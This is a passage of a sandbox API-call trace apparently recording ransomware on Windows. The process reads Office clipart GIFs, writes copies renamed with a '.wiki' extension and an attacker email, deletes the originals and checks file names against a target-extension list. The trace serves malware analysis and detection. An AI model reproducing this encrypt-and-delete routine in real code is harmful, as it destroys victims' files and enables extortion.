lpNumberOfBytesRead=0x2d8fed4*=0x1e06, lpOverlapped=0x0) returned 1 [0060.561] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1e10, lpOverlapped=0x0) returned 1 [0060.562] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.562] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.562] SetEndOfFile (hFile=0x1a4) returned 1 [0060.562] CloseHandle (hObject=0x1a4) returned 1 [0060.562] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.562] SetEndOfFile (hFile=0x200) returned 1 [0060.563] CloseHandle (hObject=0x200) returned 1 [0060.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0060.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0060.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0060.564] lstrlenW (lpString=".doc") returned 4 [0060.564] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.564] lstrlenW (lpString=".docx") returned 5 [0060.564] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.564] lstrlenW (lpString=".pdf") returned 4 [0060.564] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.564] lstrlenW (lpString=".xls") returned 4 [0060.564] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.564] lstrlenW (lpString=".xlsx") returned 5 [0060.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.564] lstrlenW (lpString=".ppt") returned 4 [0060.564] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0060.564] lstrlenW (lpString=".zip") returned 4 [0060.564] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.564] lstrlenW (lpString=".rar") returned 4 [0060.564] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.564] lstrlenW (lpString=".bz2") returned 4 [0060.564] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.564] lstrlenW (lpString=".7z") returned 3 [0060.564] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0060.564] lstrlenW (lpString=".dbf") returned 4 [0060.564] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0060.564] lstrlenW (lpString=".1cd") returned 4 [0060.564] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0060.564] lstrlenW (lpString=".jpg") returned 4 [0060.564] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0060.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0060.564] lstrlenW (lpString=".doc") returned 4 [0060.564] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.565] lstrlenW (lpString=".docx") returned 5 [0060.565] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.565] lstrlenW (lpString=".pdf") returned 4 [0060.565] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.565] lstrlenW (lpString=".xls") returned 4 [0060.565] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.565] lstrlenW (lpString=".xlsx") returned 5 [0060.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.565] lstrlenW (lpString=".ppt") returned 4 [0060.565] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0060.565] lstrlenW (lpString=".zip") returned 4 [0060.565] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.565] lstrlenW (lpString=".rar") returned 4 [0060.565] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.565] lstrlenW (lpString=".bz2") returned 4 [0060.565] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.565] lstrlenW (lpString=".7z") returned 3 [0060.565] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0060.565] lstrlenW (lpString=".dbf") returned 4 [0060.565] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0060.565] lstrlenW (lpString=".1cd") returned 4 [0060.565] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0060.565] lstrlenW (lpString=".jpg") returned 4 [0060.565] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.565] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.565] lstrlenW (lpString="AG00057_.GIF") returned 12 [0060.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.566] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=11891) returned 1 [0060.566] CloseHandle (hObject=0x200) returned 1 [0060.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0060.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.566] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.566] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.566] GetLastError () returned 0x0 [0060.566] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x2e73, lpOverlapped=0x0) returned 1 [0060.859] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0060.860] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.860] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.860] SetEndOfFile (hFile=0x1a4) returned 1 [0060.860] CloseHandle (hObject=0x1a4) returned 1 [0060.860] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.860] SetEndOfFile (hFile=0x200) returned 1 [0060.861] CloseHandle (hObject=0x200) returned 1 [0060.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0060.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0060.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0060.861] lstrlenW (lpString=".doc") returned 4 [0060.861] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.861] lstrlenW (lpString=".docx") returned 5 [0060.861] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.862] lstrlenW (lpString=".pdf") returned 4 [0060.862] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.862] lstrlenW (lpString=".xls") returned 4 [0060.862] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.862] lstrlenW (lpString=".xlsx") returned 5 [0060.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.862] lstrlenW (lpString=".ppt") returned 4 [0060.862] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0060.862] lstrlenW (lpString=".zip") returned 4 [0060.862] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.862] lstrlenW (lpString=".rar") returned 4 [0060.862] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.862] lstrlenW (lpString=".bz2") returned 4 [0060.862] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.862] lstrlenW (lpString=".7z") returned 3 [0060.862] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0060.862] lstrlenW (lpString=".dbf") returned 4 [0060.862] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0060.862] lstrlenW (lpString=".1cd") returned 4 [0060.862] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0060.862] lstrlenW (lpString=".jpg") returned 4 [0060.862] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0060.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0060.862] lstrlenW (lpString=".doc") returned 4 [0060.862] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.862] lstrlenW (lpString=".docx") returned 5 [0060.862] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.862] lstrlenW (lpString=".pdf") returned 4 [0060.862] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.863] lstrlenW (lpString=".xls") returned 4 [0060.863] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.863] lstrlenW (lpString=".xlsx") returned 5 [0060.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.863] lstrlenW (lpString=".ppt") returned 4 [0060.863] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0060.863] lstrlenW (lpString=".zip") returned 4 [0060.863] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.863] lstrlenW (lpString=".rar") returned 4 [0060.863] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.863] lstrlenW (lpString=".bz2") returned 4 [0060.863] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.863] lstrlenW (lpString=".7z") returned 3 [0060.863] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0060.863] lstrlenW (lpString=".dbf") returned 4 [0060.863] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0060.863] lstrlenW (lpString=".1cd") returned 4 [0060.863] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0060.863] lstrlenW (lpString=".jpg") returned 4 [0060.863] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.863] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.863] lstrlenW (lpString="AG00170_.GIF") returned 12 [0060.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.864] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=9248) returned 1 [0060.864] CloseHandle (hObject=0x200) returned 1 [0060.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0060.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.864] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.864] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.864] GetLastError () returned 0x0 [0060.864] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x2420, lpOverlapped=0x0) returned 1 [0060.867] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2430, lpOverlapped=0x0) returned 1 [0060.868] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.868] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.868] SetEndOfFile (hFile=0x1a4) returned 1 [0060.868] CloseHandle (hObject=0x1a4) returned 1 [0060.868] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.868] SetEndOfFile (hFile=0x200) returned 1 [0060.869] CloseHandle (hObject=0x200) returned 1 [0060.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0060.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0060.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0060.869] lstrlenW (lpString=".doc") returned 4 [0060.869] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.869] lstrlenW (lpString=".docx") returned 5 [0060.869] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.869] lstrlenW (lpString=".pdf") returned 4 [0060.869] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.870] lstrlenW (lpString=".xls") returned 4 [0060.870] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.870] lstrlenW (lpString=".xlsx") returned 5 [0060.870] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.870] lstrlenW (lpString=".ppt") returned 4 [0060.870] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0060.870] lstrlenW (lpString=".zip") returned 4 [0060.870] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.870] lstrlenW (lpString=".rar") returned 4 [0060.870] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.870] lstrlenW (lpString=".bz2") returned 4 [0060.870] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.870] lstrlenW (lpString=".7z") returned 3 [0060.870] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0060.870] lstrlenW (lpString=".dbf") returned 4 [0060.870] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0060.870] lstrlenW (lpString=".1cd") returned 4 [0060.870] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0060.870] lstrlenW (lpString=".jpg") returned 4 [0060.870] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0060.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0060.870] lstrlenW (lpString=".doc") returned 4 [0060.870] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.870] lstrlenW (lpString=".docx") returned 5 [0060.870] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.870] lstrlenW (lpString=".pdf") returned 4 [0060.870] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.870] lstrlenW (lpString=".xls") returned 4 [0060.870] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.870] lstrlenW (lpString=".xlsx") returned 5 [0060.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.871] lstrlenW (lpString=".ppt") returned 4 [0060.871] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0060.871] lstrlenW (lpString=".zip") returned 4 [0060.871] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.871] lstrlenW (lpString=".rar") returned 4 [0060.871] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.871] lstrlenW (lpString=".bz2") returned 4 [0060.871] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.871] lstrlenW (lpString=".7z") returned 3 [0060.871] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0060.871] lstrlenW (lpString=".dbf") returned 4 [0060.871] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0060.871] lstrlenW (lpString=".1cd") returned 4 [0060.871] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0060.871] lstrlenW (lpString=".jpg") returned 4 [0060.871] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.871] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.871] lstrlenW (lpString="AG00171_.GIF") returned 12 [0060.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.871] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=5016) returned 1 [0060.872] CloseHandle (hObject=0x200) returned 1 [0060.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0060.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0060.872] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.872] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.872] GetLastError () returned 0x0 [0060.872] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x1398, lpOverlapped=0x0) returned 1 [0060.911] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x13a0, lpOverlapped=0x0) returned 1 [0060.911] ReadFile (in: hFile=0x200, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.911] WriteFile (in: hFile=0x1a4, 